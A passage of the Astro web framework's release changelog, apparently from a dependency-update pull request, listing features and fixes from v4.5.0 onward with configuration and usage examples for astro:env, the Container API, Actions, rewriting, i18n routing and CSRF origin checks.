  • #​11292 7f8f347 Thanks @​jdtjenkins! - Fixes a case where defineAction autocomplete for the accept prop would not show "form" as a possible value

  • #​11273 cb4d078 Thanks @​ascorbic! - Corrects an inconsistency in dev where middleware would run for prerendered 404 routes.
    Middleware is not run for prerendered 404 routes in production, so this was incorrect.

  • #​11284 f4b029b Thanks @​ascorbic! - Fixes an issue that would break Astro.request.url and Astro.request.headers in astro dev if HTTP/2 was enabled.

    HTTP/2 is now enabled by default in astro dev if https is configured in the Vite config.

v4.10.3

Compare Source

Patch Changes
  • #​11213 94ac7ef Thanks @​florian-lefebvre! - Removes the PUBLIC_ prefix constraint for astro:env public variables

  • #​11213 94ac7ef Thanks @​florian-lefebvre! - BREAKING CHANGE to the experimental astro:env feature only

    Server secrets specified in the schema must now be imported from astro:env/server. Using getSecret() is no longer required to use these environment variables in your schema:

    - import { getSecret } from 'astro:env/server'
    - const API_SECRET = getSecret("API_SECRET")
    + import { API_SECRET } from 'astro:env/server'
    

    Note that using getSecret() with these keys is still possible, but no longer involves any special handling and the raw value will be returned, just like retrieving secrets not specified in your schema.

  • #​11234 4385bf7 Thanks @​ematipico! - Adds a new function called addServerRenderer to the Container API. Use this function to manually store renderers inside the instance of your container.

    This new function should be preferred when using the Container API in environments like on-demand pages:

    import type { APIRoute } from 'astro';
    import { experimental_AstroContainer } from 'astro/container';
    import reactRenderer from '@&#8203;astrojs/react/server.js';
    import vueRenderer from '@&#8203;astrojs/vue/server.js';
    import ReactComponent from '../components/button.jsx';
    import VueComponent from '../components/button.vue';
    
    // MDX runtime is contained inside the Astro core
    import mdxRenderer from 'astro/jsx/server.js';
    
    // In case you need to import a custom renderer
    import customRenderer from '../renderers/customRenderer.js';
    
    export const GET: APIRoute = async (ctx) => {
      const container = await experimental_AstroContainer.create();
      container.addServerRenderer({ renderer: reactRenderer });
      container.addServerRenderer({ renderer: vueRenderer });
      container.addServerRenderer({ renderer: customRenderer });
      // You can pass a custom name too
      container.addServerRenderer({
        name: 'customRenderer',
        renderer: customRenderer,
      });
      const vueComponent = await container.renderToString(VueComponent);
      return await container.renderToResponse(Component);
    };
    
  • #​11249 de60c69 Thanks @​markgaze! - Fixes a performance issue with JSON schema generation

  • #​11242 e4fc2a0 Thanks @​ematipico! - Fixes a case where the virtual module astro:container wasn't resolved

  • #​11236 39bc3a5 Thanks @​ascorbic! - Fixes a case where symlinked content collection directories were not correctly resolved

  • #​11258 d996db6 Thanks @​ascorbic! - Adds a new error RewriteWithBodyUsed that throws when Astro.rewrite is used after the request body has already been read.

  • #​11243 ba2b14c Thanks @​V3RON! - Fixes a prerendering issue for libraries in node_modules when a folder with an underscore is in the path.

  • #​11244 d07d2f7 Thanks @​ematipico! - Improves the developer experience of the custom 500.astro page in development mode.

    Before, in development, an error thrown during the rendering phase would display the default error overlay, even when users had the 500.astro page.

    Now, the development server will display the 500.astro and the original error is logged in the console.

  • #​11240 2851b0a Thanks @​ascorbic! - Ignores query strings in module identifiers when matching ".astro" file extensions in Vite plugin

  • #​11245 e22be22 Thanks @​bluwy! - Refactors prerendering chunk handling to correctly remove unused code during the SSR runtime

v4.10.2

Compare Source

Patch Changes
  • #​11231 58d7dbb Thanks @​ematipico! - Fixes a regression for getViteConfig, where the inline config wasn't merged in the final config.

  • #​11228 1e293a1 Thanks @​ascorbic! - Updates getCollection() to always return a cloned array

  • #​11207 7d9aac3 Thanks @​ematipico! - Fixes an issue in the rewriting logic where old data was not purged during the rewrite flow. This caused some false positives when checking the validity of URL path names during the rendering phase.

  • #​11189 75a8fe7 Thanks @​ematipico! - Improve error message when using getLocaleByPath on path that doesn't contain any locales.

  • #​11195 0a6ab6f Thanks @​florian-lefebvre! - Adds support for enums to astro:env

    You can now call envField.enum:

    import { defineConfig, envField } from 'astro/config';
    
    export default defineConfig({
      experimental: {
        env: {
          schema: {
            API_VERSION: envField.enum({
              context: 'server',
              access: 'secret',
              values: ['v1', 'v2'],
            }),
          },
        },
      },
    });
    
  • #​11210 66fc028 Thanks @​matthewp! - Close the iterator only after rendering is complete

  • #​11195 0a6ab6f Thanks @​florian-lefebvre! - Adds additional validation options to astro:env

    astro:env schema datatypes string and number now have new optional validation rules:

    import { defineConfig, envField } from 'astro/config';
    
    export default defineConfig({
      experimental: {
        env: {
          schema: {
            FOO: envField.string({
              // ...
              max: 32,
              min: 3,
              length: 12,
              url: true,
              includes: 'foo',
              startsWith: 'bar',
              endsWith: 'baz',
            }),
            BAR: envField.number({
              // ...
              gt: 2,
              min: 3,
              lt: 10,
              max: 9,
              int: true,
            }),
          },
        },
      },
    });
    
  • #​11211 97724da Thanks @​matthewp! - Let middleware handle the original request URL

  • #​10607 7327c6a Thanks @​frankbits! - Fixes an issue where a leading slash created incorrect conflict resolution between pages generated from static routes and catch-all dynamic routes

v4.10.1

Compare Source

Patch Changes

v4.10.0

Compare Source

Minor Changes
  • #​10974 2668ef9 Thanks @​florian-lefebvre! - Adds experimental support for the astro:env API.

    The astro:env API lets you configure a type-safe schema for your environment variables, and indicate whether they should be available on the server or the client. Import and use your defined variables from the appropriate /client or /server module:

    ---
    import { PUBLIC_APP_ID } from 'astro:env/client';
    import { PUBLIC_API_URL, getSecret } from 'astro:env/server';
    const API_TOKEN = getSecret('API_TOKEN');
    
    const data = await fetch(`${PUBLIC_API_URL}/users`, {
      method: 'POST',
      headers: {
        'Content-Type': 'application/json',
        Authorization: `Bearer ${API_TOKEN}`,
      },
      body: JSON.stringify({ appId: PUBLIC_APP_ID }),
    });
    ---
    

    To define the data type and properties of your environment variables, declare a schema in your Astro config in experimental.env.schema. The envField helper allows you define your variable as a string, number, or boolean and pass properties in an object:

    // astro.config.mjs
    import { defineConfig, envField } from 'astro/config';
    
    export default defineConfig({
      experimental: {
        env: {
          schema: {
            PUBLIC_API_URL: envField.string({ context: 'client', access: 'public', optional: true }),
            PUBLIC_PORT: envField.number({ context: 'server', access: 'public', default: 4321 }),
            API_SECRET: envField.string({ context: 'server', access: 'secret' }),
          },
        },
      },
    });
    

    There are three kinds of environment variables, determined by the combination of context (client or server) and access (private or public) settings defined in your env.schema:

    • Public client variables: These variables end up in both your final client and server bundles, and can be accessed from both client and server through the astro:env/client module:

      import { PUBLIC_API_URL } from 'astro:env/client';
      
    • Public server variables: These variables end up in your final server bundle and can be accessed on the server through the astro:env/server module:

      import { PUBLIC_PORT } from 'astro:env/server';
      
    • Secret server variables: These variables are not part of your final bundle and can be accessed on the server through the getSecret() helper function available from the astro:env/server module:

      import { getSecret } from 'astro:env/server';
      
      const API_SECRET = getSecret('API_SECRET'); // typed
      const SECRET_NOT_IN_SCHEMA = getSecret('SECRET_NOT_IN_SCHEMA'); // string | undefined
      

    Note: Secret client variables are not supported because there is no safe way to send this data to the client. Therefore, it is not possible to configure both context: "client" and access: "secret" in your schema.

    To learn more, check out the documentation.

Patch Changes
  • #​11192 58b10a0 Thanks @​liruifengv! - Improves DX by throwing the original AstroUserError when an error is thrown inside a .mdx file.

  • #​11136 35ef53c Thanks @​ematipico! - Errors that are emitted during a rewrite are now bubbled up and shown to the user. A 404 response is not returned anymore.

  • #​11144 803dd80 Thanks @​ematipico! - The integration now exposes a function called getContainerRenderer, that can be used inside the Container APIs to load the relative renderer.

    import { experimental_AstroContainer as AstroContainer } from 'astro/container';
    import ReactWrapper from '../src/components/ReactWrapper.astro';
    import { loadRenderers } from 'astro:container';
    import { getContainerRenderer } from '@&#8203;astrojs/react';
    
    test('ReactWrapper with react renderer', async () => {
      const renderers = await loadRenderers([getContainerRenderer()]);
      const container = await AstroContainer.create({
        renderers,
      });
      const result = await container.renderToString(ReactWrapper);
    
      expect(result).toContain('Counter');
      expect(result).toContain('Count: <!-- -->5');
    });
    
  • #​11144 803dd80 Thanks @​ematipico! - BREAKING CHANGE to the experimental Container API only

    Changes the type of the renderers option of the AstroContainer::create function and adds a dedicated function loadRenderers() to load the rendering scripts from renderer integration packages (@astrojs/react, @astrojs/preact, @astrojs/solid-js, @astrojs/svelte, @astrojs/vue, @astrojs/lit, and @astrojs/mdx).

    You no longer need to know the individual, direct file paths to the client and server rendering scripts for each renderer integration package. Now, there is a dedicated function to load the renderer from each package, which is available from getContainerRenderer():

    import { experimental_AstroContainer as AstroContainer } from 'astro/container';
    import ReactWrapper from '../src/components/ReactWrapper.astro';
    import { loadRenderers } from "astro:container";
    import { getContainerRenderer } from "@&#8203;astrojs/react";
    
    test('ReactWrapper with react renderer', async () => {
    + const renderers = await loadRenderers([getContainerRenderer()])
    - const renderers = [
    - {
    -  name: '@&#8203;astrojs/react',
    -   clientEntrypoint: '@&#8203;astrojs/react/client.js',
    -   serverEntrypoint: '@&#8203;astrojs/react/server.js',
    -  },
    - ];
      const container = await AstroContainer.create({
        renderers,
      });
      const result = await container.renderToString(ReactWrapper);
    
      expect(result).toContain('Counter');
      expect(result).toContain('Count: <!-- -->5');
    });
    

    The new loadRenderers() helper function is available from astro:container, a virtual module that can be used when running the Astro container inside vite.

  • #​11136 35ef53c Thanks @​ematipico! - It's not possible anymore to use Astro.rewrite("/404") inside static pages. This isn't counterproductive because Astro will end-up emitting a page that contains the HTML of 404 error page.

    It's still possible to use Astro.rewrite("/404") inside on-demand pages, or pages that opt-out from prerendering.

  • #​11191 6e29a17 Thanks @​matthewp! - Fixes a case where Astro.url would be incorrect when having build.format set to 'preserve' in the Astro config

  • #​11182 40b0b4d Thanks @​ematipico! - Fixes an issue where Astro.rewrite wasn't carrying over the body of a Request in on-demand pages.

  • #​11194 97fbe93 Thanks @​ematipico! - Fixes an issue where the function getViteConfig wasn't returning the correct merged Astro configuration

v4.9.3

Compare Source

Patch Changes
  • #​11171 ff8004f Thanks @​Princesseuh! - Guard globalThis.astroAsset usage in proxy code to avoid errors in wonky situations

  • #​11178 1734c49 Thanks @​theoephraim! - Improves isPromise utility to check the presence of then on an object before trying to access it - which can cause undesired side-effects on Proxy objects

  • #​11183 3cfa2ac Thanks @​66Leo66! - Suggest pnpm dlx instead of pnpx in update check.

  • #​11147 2d93902 Thanks @​kitschpatrol! - Fixes invalid MIME types in Picture source elements for jpg and svg extensions, which was preventing otherwise valid source variations from being shown by the browser

  • #​11141 19df89f Thanks @​ematipico! - Fixes an internal error that prevented the AstroContainer to render the Content component.

    You can now write code similar to the following to render content collections:

    const entry = await getEntry(collection, slug);
    const { Content } = await entry.render();
    const content = await container.renderToString(Content);
    
  • #​11170 ba20c71 Thanks @​matthewp! - Retain client scripts in content cache

v4.9.2

Compare Source

Patch Changes
  • #​11138 98e0372 Thanks @​ematipico! - You can now pass props when rendering a component using the Container APIs:

    import { experimental_AstroContainer as AstroContainer } from 'astro/contaienr';
    import Card from '../src/components/Card.astro';
    
    const container = await AstroContainer.create();
    const result = await container.renderToString(Card, {
      props: {
        someState: true,
      },
    });
    

v4.9.1

Compare Source

Patch Changes

v4.9.0

Compare Source

Minor Changes
  • #​11051 12a1bcc Thanks @​ematipico! - Introduces an experimental Container API to render .astro components in isolation.

    This API introduces three new functions to allow you to create a new container and render an Astro component returning either a string or a Response:

    • create(): creates a new instance of the container.
    • renderToString(): renders a component and return a string.
    • renderToResponse(): renders a component and returns the Response emitted by the rendering phase.

    The first supported use of this new API is to enable unit testing. For example, with vitest, you can create a container to render your component with test data and check the result:

    import { experimental_AstroContainer as AstroContainer } from 'astro/container';
    import { expect, test } from 'vitest';
    import Card from '../src/components/Card.astro';
    
    test('Card with slots', async () => {
      const container = await AstroContainer.create();
      const result = await container.renderToString(Card, {
        slots: {
          default: 'Card content',
        },
      });
    
      expect(result).toContain('This is a card');
      expect(result).toContain('Card content');
    });
    

    For a complete reference, see the Container API docs.

    For a feature overview, and to give feedback on this experimental API, see the Container API roadmap discussion.

  • #​11021 2d4c8fa Thanks @​ematipico! - The CSRF protection feature that was introduced behind a flag in v4.6.0 is no longer experimental and is available for general use.

    To enable the stable version, add the new top-level security option in astro.config.mjs. If you were previously using the experimental version of this feature, also delete the experimental flag:

    export default defineConfig({
    -  experimental: {
    -    security: {
    -      csrfProtection: {
    -        origin: true
    -      }
    -    }
    -  },
    +  security: {
    +    checkOrigin: true
    +  }
    })
    

    Enabling this setting performs a check that the "origin" header, automatically passed by all modern browsers, matches the URL sent by each Request.

    This check is executed only for pages rendered on demand, and only for the requests POST, PATCH, DELETE and PUT with one of the following "content-type" headers: 'application/x-www-form-urlencoded', 'multipart/form-data', 'text/plain'.

    If the "origin" header doesn't match the pathname of the request, Astro will return a 403 status code and won't render the page.

    For more information, see the security configuration docs.

  • #​11022 be68ab4 Thanks @​ematipico! - The i18nDomains routing feature introduced behind a flag in v3.4.0 is no longer experimental and is available for general use.

    This routing option allows you to configure different domains for individual locales in entirely server-rendered projects using the @​astrojs/node or @​astrojs/vercel adapter with a site configured.

    If you were using this feature, please remove the experimental flag from your Astro config:

    import { defineConfig } from 'astro'
    
    export default defineConfig({
    -  experimental: {
    -    i18nDomains: true,
    -  }
    })
    

    If you have been waiting for stabilization before using this routing option, you can now do so.

    Please see the internationalization docs for more about this feature.

  • #​11071 8ca7c73 Thanks @​bholmesdev! - Adds two new functions experimental_getActionState() and experimental_withState() to support the React 19 useActionState() hook when using Astro Actions. This introduces progressive enhancement when calling an Action with the withState() utility.

    This example calls a like action that accepts a postId and returns the number of likes. Pass this action to the experimental_withState() function to apply progressive enhancement info, and apply to useActionState() to track the result:

    import { actions } from 'astro:actions';
    import { experimental_withState } from '@&#8203;astrojs/react/actions';
    
    export function Like({ postId }: { postId: string }) {
      const [state, action, pending] = useActionState(
        experimental_withState(actions.like),
        0 // initial likes
      );
    
      return (
        <form action={action}>
          <input type="hidden" name="postId" value={postId} />
          <button disabled={pending}>{state} ❤️</button>
        </form>
      );
    }
    

    You can also access the state stored by useActionState() from your action handler. Call experimental_getActionState() with the API context, and optionally apply a type to the result:

    import { defineAction, z } from 'astro:actions';
    import { experimental_getActionState } from '@&#8203;astrojs/react/actions';
    
    export const server = {
      like: defineAction({
        input: z.object({
          postId: z.string(),
        }),
        handler: async ({ postId }, ctx) => {
          const currentLikes = experimental_getActionState<number>(ctx);
          // write to database
          return currentLikes + 1;
        },
      }),
    };
    
  • #​11101 a6916e4 Thanks @​linguofeng! - Updates Astro's code for adapters to use the header x-forwarded-for to initialize the clientAddress.

    To take advantage of the new change, integration authors must upgrade the version of Astro in their adapter peerDependencies to 4.9.0.

  • #​11071 8ca7c73 Thanks @​bholmesdev! - Adds compatibility for Astro Actions in the React 19 beta. Actions can be passed to a form action prop directly, and Astro will automatically add metadata for progressive enhancement.

    import { actions } from 'astro:actions';
    
    function Like() {
      return (
        <form action={actions.like}>
          {/* auto-inserts hidden input for progressive enhancement */}
          <button type="submit">Like</button>
        </form>
      );
    }
    
Patch Changes
  • #​11088 9566fa0 Thanks @​bholmesdev! - Allow actions to be called on the server. This allows you to call actions as utility functions in your Astro frontmatter, endpoints, and server-side UI components.

    Import and call directly from astro:actions as you would for client actions:

    ---
    // src/pages/blog/[postId].astro
    import { actions } from 'astro:actions';
    
    await actions.like({ postId: Astro.params.postId });
    ---
    
  • #​11112 29a8650 Thanks @​bholmesdev! - Deprecate the getApiContext() function. API Context can now be accessed from the second parameter to your Action handler():

    // src/actions/index.ts
    import {
      defineAction,
      z,
    -  getApiContext,
    } from 'astro:actions';
    
    export const server = {
      login: defineAction({
        input: z.object({ id: z.string }),
    +    handler(input, context) {
          const user = context.locals.auth(input.id);
          return user;
        }
      }),
    }
    

v4.8.7

Compare Source

Patch Changes
  • #​11073 f5c8fee Thanks @​matthewp! - Prevent cache content from being left in dist folder

    When contentCollectionsCache is enabled temporary cached content is copied into the outDir for processing. This fixes it so that this content is cleaned out, along with the rest of the temporary build JS.

  • #​11054 f6b171e Thanks @​bholmesdev! - Respect error status when handling Actions with a progressive fallback.

  • #​11092 bfe9c73 Thanks @​duckycoding-dev! - Change slot attribute of IntrinsicAttributes to match the definition of HTMLAttributes's own slot attribute of type string | undefined | null

  • #​10875 b5f95b2 Thanks @​W1M0R! - Fixes a typo in a JSDoc annotation

  • #​11111 a5d79dd Thanks @​bholmesdev! - Fix unexpected headers warning on prerendered routes when using Astro Actions.

  • #​11081 af42e05 Thanks @​V3RON! - Correctly position inspection tooltip in RTL mode

    When RTL mode is turned on, the inspection tooltip tend to overflow the window on the left side.
    Additional check has been added to prevent that.

v4.8.6

Compare Source

Patch Changes

v4.8.5

Compare Source

Patch Changes

v4.8.4

Compare Source

Patch Changes
  • #​11026 8dfb1a2 Thanks @​bluwy! - Skips rendering script tags if it's inlined and empty when experimental.directRenderScript is enabled

  • #​11043 d0d1710 Thanks @​bholmesdev! - Fixes minor type issues in actions component example

  • #​10999 5f353e3 Thanks @​bluwy! - The prefetch feature is updated to better support different browsers and different cache headers setup, including:

    1. All prefetch strategies will now always try to use <link rel="prefetch"> if supported, or will fall back to fetch().
    2. The prefetch() programmatic API's with option is deprecated in favour of an automatic approach that will also try to use <link rel="prefetch> if supported, or will fall back to fetch().

    This change shouldn't affect most sites and should instead make prefetching more effective.

  • #​11041 6cc3fb9 Thanks @​bholmesdev! - Fixes 500 errors when sending empty params or returning an empty response from an action.

  • #​11028 771d1f7 Thanks @​bholmesdev! - Throw on missing server output when using Astro Actions.

  • #​11029 bd34452 Thanks @​bholmesdev! - Actions: include validation error in thrown error message for debugging.

  • #​11046 086694a Thanks @​HiDeoo! - Fixes getViteConfig() type definition to allow passing an inline Astro configuration as second argument

  • #​11026 8dfb1a2 Thanks @​bluwy! - Fixes CSS handling if imported in a script tag in an Astro file when experimental.directRenderScript is enabled

  • #​11020 2e2d6b7 Thanks @​xsynaptic! - Add type declarations for import.meta.env.ASSETS_PREFIX when defined as an object for handling different file types.

  • #​11030 18e7f33 Thanks @​bholmesdev! - Actions: Fix missing message for custom Action errors.

  • #​10981 ad9227c Thanks @​mo! - Adds deprecated HTML attribute "name" to the list of valid attributes. This attribute has been replaced by the global id attribute in recent versions of HTML.

  • #​11013 4ea38e7 Thanks @​QingXia-Ela! - Prevents unhandledrejection error when checking for latest Astro version

  • #​11034 5f2dd45 Thanks @​arganaphang! - Add popovertargetaction to the attribute that can be passed to the button and input element

v4.8.3

Compare Source

Patch Changes

v4.8.2

Compare Source

Patch Changes

v4.8.1

Compare Source

Patch Changes
  • #​10987 05db5f7 Thanks @​ematipico! - Fix a regression where the flag experimental.rewriting was marked mandatory. Is is now optional.

  • #​10975 6b640b3 Thanks @​bluwy! - Passes the scoped style attribute or class to the <picture> element in the <Picture /> component so scoped styling can be applied to the <picture> element

v4.8.0

Compare Source

Minor Changes
  • #​10935 ddd8e49 Thanks @​bluwy! - Exports astro/jsx/rehype.js with utilities to generate an Astro metadata object

  • #​10625 698c2d9 Thanks @​goulvenclech! - Adds the ability for multiple pages to use the same component as an entrypoint when building an Astro integration. This change is purely internal, and aligns the build process with the behaviour in the development server.

  • #​10906 7bbd664 Thanks @​Princesseuh! - Adds a new radio checkbox component to the dev toolbar UI library (astro-dev-toolbar-radio-checkbox)

  • #​10963 61f47a6 Thanks @​delucis! - Adds support for passing an inline Astro configuration object to getViteConfig()

    If you are using getViteConfig() to configure the Vitest test runner, you can now pass a second argument to control how Astro is configured. This makes it possible to configure unit tests with different Astro options when using Vitest’s workspaces feature.

    // vitest.config.ts
    import { getViteConfig } from 'astro/config';
    
    export default getViteConfig(
      /* Vite configuration */
      { test: {} },
      /* Astro configuration */
      {
        site: 'https://example.com',
        trailingSlash: 'never',
      }
    );
    
  • #​10867 47877a7 Thanks @​ematipico! - Adds experimental rewriting in Astro with a new rewrite() function and the middleware next() function.

    The feature is available via an experimental flag in astro.config.mjs:

    export default defineConfig({
      experimental: {
        rewriting: true,
      },
    });
    

    When enabled, you can use rewrite() to render another page without changing the URL of the browser in Astro pages and endpoints.

    ---
    // src/pages/dashboard.astro
    if (!Astro.props.allowed) {
      return Astro.rewrite('/');
    }
    ---
    
    // src/pages/api.js
    export function GET(ctx) {
      if (!ctx.locals.allowed) {
        return ctx.rewrite('/');
      }
    }
    

    The middleware next() function now accepts a parameter with the same type as the rewrite() function. For example, with next("/"), you can call the next middleware function with a new Request.

    // src/middleware.js
    export function onRequest(ctx, next) {
      if (!ctx.cookies.get('allowed')) {
        return next('/'); // new signature
      }
      return next();
    }
    

    NOTE: please read the RFC to understand the current expectations of the new APIs.

  • #​10858 c0c509b Thanks @​bholmesdev! - Adds experimental support for the Actions API. Actions let you define type-safe endpoints you can query from client components with progressive enhancement built in.

    Actions help you write type-safe backend functions you can call from anywhere. Enable server rendering using the output property and add the actions flag to the experimental object:

    {
      output: 'hybrid', // or 'server'
      experimental: {
        actions: true,
      },
    }
    

    Declare all your actions in src/actions/index.ts. This file is the global actions handler.

    Define an action using the defineAction() utility from the astro:actions module. These accept the handler property to define your server-side request handler. If your action accepts arguments, apply the input property to validate parameters with Zod.

    This example defines two actions: like and comment. The like action accepts a JSON object with a postId string, while the comment action accepts FormData with postId, author, and body strings. Each handler updates your database and return a type-safe response.

    // src/actions/index.ts
    import { defineAction, z } from 'astro:actions';
    
    export const server = {
      like: defineAction({
        input: z.object({ postId: z.string() }),
        handler: async ({ postId }, context) => {
          // update likes in db
    
          return likes;
        },
      }),
      comment: defineAction({
        accept: 'form',
        input: z.object({
          postId: z.string(),
    
          body: z.string(),
        }),
        handler: async ({ postId }, context) => {
          // insert comments in db
    
          return comment;
        },
      }),
    };
    

    Then, call an action from your client components using the actions object from astro:actions. You can pass a type-safe object when using JSON, or a FormData object when using accept: 'form' in your action definition:

    // src/components/blog.tsx
    import { actions } from 'astro:actions';
    import { useState } from 'preact/hooks';
    
    export function Like({ postId }: { postId: string }) {
      const [likes, setLikes] = useState(0);
      return (
        <button
          onClick={async () => {
            const newLikes = await actions.like({ postId });
            setLikes(newLikes);
          }}
        >
          {likes} likes
        </button>
      );
    }
    
    export function Comment({ postId }: { postId: string }) {
      return (
        <form
          onSubmit={async (e) => {
            e.preventDefault();
            const formData = new FormData(e.target);
            const result = await actions.blog.comment(formData);
            // handle result
          }}
        >
          <input type="hidden" name="postId" value={postId} />
          <label for="author">Author</label>
          <input id="author" type="text" name="author" />
          <textarea rows={10} name="body"></textarea>
          <button type="submit">Post</button>
        </form>
      );
    }
    

    For a complete overview, and to give feedback on this experimental API, see the Actions RFC.

  • #​10906 7bbd664 Thanks @​Princesseuh! - Adds a new buttonBorderRadius property to the astro-dev-toolbar-button component for the dev toolbar component library. This property can be useful to make a fully rounded button with an icon in the center.

Patch Changes

v4.7.1

Compare Source

Patch Changes

v4.7.0

Compare Source

Minor Changes
  • #​10665 7b4f284 Thanks @​Princesseuh! - Adds new utilities to ease the creation of toolbar apps including defineToolbarApp to make it easier to define your toolbar app and app and server helpers for easier communication between the toolbar and the server. These new utilities abstract away some of the boilerplate code that is common in toolbar apps, and lower the barrier of entry for app authors.

    For example, instead of creating an event listener for the app-toggled event and manually typing the value in the callback, you can now use the onAppToggled method. Additionally, communicating with the server does not require knowing any of the Vite APIs anymore, as a new server object is passed to the init function that contains easy to use methods for communicating with the server.

    import { defineToolbarApp } from "astro/toolbar";
    
    export default defineToolbarApp({
      init(canvas, app, server) {
    
    -    app.addEventListener("app-toggled", (e) => {
    -      console.log(`App is now ${state ? "enabled" : "disabled"}`);.
    -    });
    
    +    app.onToggled(({ state }) => {
    +        console.log(`App is now ${state ? "enabled" : "disabled"}`);
    +    });
    
    -    if (import.meta.hot) {
    -      import.meta.hot.send("my-app:my-client-event", { message: "world" });
    -    }
    
    +    server.send("my-app:my-client-event", { message: "world" })
    
    -    if (import.meta.hot) {
    -      import.meta.hot.on("my-server-event", (data: {message: string}) => {
    -        console.log(data.message);
    -      });
    -    }
    
    +    server.on<{ message: string }>("my-server-event", (data) => {
    +      console.log(data.message); // data is typed using the type parameter
    +    });
      },
    })
    

    Server helpers are also available on the server side, for use in your integrations, through the new toolbar object:

    "astro:server:setup": ({ toolbar }) => {
      toolbar.on<{ message: string }>("my-app:my-client-event", (data) => {
        console.log(data.message);
        toolbar.send("my-server-event", { message: "hello" });
      });
    }
    

    This is a backwards compatible change and your your existing dev toolbar apps will continue to function. However, we encourage you to build your apps with the new helpers, following the updated Dev Toolbar API documentation.

  • #​10734 6fc4c0e Thanks @​Princesseuh! - Astro will now automatically check for updates when you run the dev server. If a new version is available, a message will appear in the terminal with instructions on how to update. Updates will be checked once per 10 days, and the message will only appear if the project is multiple versions behind the latest release.

    This behavior can be disabled by running astro preferences disable checkUpdates or setting the ASTRO_DISABLE_UPDATE_CHECK environment variable to false.

  • #​10762 43ead8f Thanks @​bholmesdev! - Enables type checking for JavaScript files when using the strictest TS config. This ensures consistency with Astro's other TS configs, and fixes type checking for integrations like Astro DB when using an astro.config.mjs.

    If you are currently using the strictest preset and would like to still disable .js files, set allowJS: false in your tsconfig.json.

Patch Changes

v4.6.4

Compare Source

Patch Changes
  • #​10846 3294f7a Thanks @​matthewp! - Prevent getCollection breaking in vitest

  • #​10856 30cf82a Thanks @​robertvanhoesel! - Prevents inputs with a name attribute of action or method to break ViewTransitions' form submission

  • #​10833 8d5f3e8 Thanks @​renovate! - Updates esbuild dependency to v0.20. This should not affect projects in most cases.

  • #​10801 204b782 Thanks @​rishi-raj-jain! - Fixes an issue where images in MD required a relative specifier (e.g. ./)

    Now, you can use the standard ![](relative/img.png) syntax in MD files for images colocated in the same folder: no relative specifier required!

    There is no need to update your project; your existing images will still continue to work. However, you may wish to remove any relative specifiers from these MD images as they are no longer necessary:

    - ![A cute dog](./dog.jpg)
    + ![A cute dog](dog.jpg)
    <!-- This dog lives in the same folder as my article! -->
    
  • #​10841 a2df344 Thanks @​martrapp! - Due to regression on mobile WebKit browsers, reverts a change made for JavaScript animations during view transitions.

v4.6.3

Compare Source

Patch Changes

v4.6.2

Compare Source

Patch Changes

v4.6.1

Compare Source

Patch Changes

v4.6.0

Compare Source

Minor Changes
  • #​10591 39988ef8e2c4c4888543c973e06d9b9939e4ac95 Thanks @​mingjunlu! - Adds a new dev toolbar settings option to change the horizontal placement of the dev toolbar on your screen: bottom left, bottom center, or bottom right.

  • #​10689 683d51a5eecafbbfbfed3910a3f1fbf0b3531b99 Thanks @​ematipico! - Deprecate support for versions of Node.js older than v18.17.1 for Node.js 18, older than v20.0.3 for Node.js 20, and the complete Node.js v19 release line.

    This change is in line with Astro's Node.js support policy.

  • #​10678 2e53b5fff6d292b7acdf8c30a6ecf5e5696846a1 Thanks @​ematipico! - Adds a new experimental security option to prevent Cross-Site Request Forgery (CSRF) attacks. This feature is available only for pages rendered on demand:

    import { defineConfig } from 'astro/config';
    export default defineConfig({
      experimental: {
        security: {
          csrfProtection: {
            origin: true,
          },
        },
      },
    });
    

    Enabling this setting performs a check that the "origin" header, automatically passed by all modern browsers, matches the URL sent by each Request.

    This experimental "origin" check is executed only for pages rendered on demand, and only for the requests POST, PATCH, DELETEandPUTwith one of the followingcontent-type` headers: 'application/x-www-form-urlencoded', 'multipart/form-data', 'text/plain'.

    It the "origin" header doesn't match the pathname of the request, Astro will return a 403 status code and won't render the page.

  • #​10193 440681e7b74511a17b152af0fd6e0e4dc4014025 Thanks @​ematipico! - Adds a new i18n routing option manual to allow you to write your own i18n middleware:

    import { defineConfig } from 'astro/config';
    // astro.config.mjs
    export default defineConfig({
      i18n: {
        locales: ['en', 'fr'],
        defaultLocale: 'fr',
        routing: 'manual',
      },
    });
    

    Adding routing: "manual" to your i18n config disables Astro's own i18n middleware and provides you with helper functions to write your own: redirectToDefaultLocale, notFound, and redirectToFallback:

    // middleware.js
    import { redirectToDefaultLocale } from 'astro:i18n';
    export const onRequest = defineMiddleware(async (context, next) => {
      if (context.url.startsWith('/about')) {
        return next();
      } else {
        return redirectToDefaultLocale(context, 302);
      }
    });
    

    Also adds a middleware function that manually creates Astro's i18n middleware. This allows you to extend Astro's i18n routing instead of completely replacing it. Run middleware in combination with your own middleware, using the sequence utility to determine the order:

    import { defineMiddleware, sequence } from 'astro:middleware';
    import { middleware } from 'astro:i18n'; // Astro's own i18n routing config
    
    export const userMiddleware = defineMiddleware();
    
    export const onRequest = sequence(
      userMiddleware,
      middleware({
        redirectToDefaultLocale: false,
        prefixDefaultLocale: true,
      })
    );
    
  • #​10671 9e14a78cb05667af9821948c630786f74680090d Thanks @​fshafiee! - Adds the httpOnly, sameSite, and secure options when deleting a cookie

Patch Changes

v4.5.18

Compare Source

Patch Changes

v4.5.17

Compare Source

Patch Changes

v4.5.16

Compare Source

Patch Changes

v4.5.15

Compare Source

Patch Changes

v4.5.14

Compare Source

Patch Changes

v4.5.13

Compare Source

Patch Changes

v4.5.12

Compare Source

Patch Changes

v4.5.11

Compare Source

Patch Changes

v4.5.10

Compare Source

Patch Changes

v4.5.9

Compare Source

Patch Changes

v4.5.8

Compare Source

Patch Changes

v4.5.7

Compare Source

Patch Changes

v4.5.6

Compare Source

Patch Changes

v4.5.5

Compare Source

Patch Changes

v4.5.4

Compare Source

Patch Changes

v4.5.3

Compare Source

Patch Changes

v4.5.2

Compare Source

Patch Changes

v4.5.1

Compare Source

Patch Changes

v4.5.0

Compare Source

Minor Changes
  • #​10206 dc87214141e7f8406c0fdf6a7f425dad6dea6d3e Thanks @​lilnasy! - Allows middleware to run when a matching page or endpoint is not found. Previously, a pages/404.astro or pages/[...catch-all].astro route had to match to allow middleware. This is now not necessary.

    When a route does not match in SSR deployments, your adapter may show a platform-specific 404 page instead of running Astro's SSR code. In these cases, you may still need to add a 404.astro or fallback route with spread params, or use a routing configuration option if your adapter provides one.

  • #​9960 c081adf998d30419fed97d8fccc11340cdc512e0 Thanks @​StandardGage! - Allows passing any props to the <Code /> component

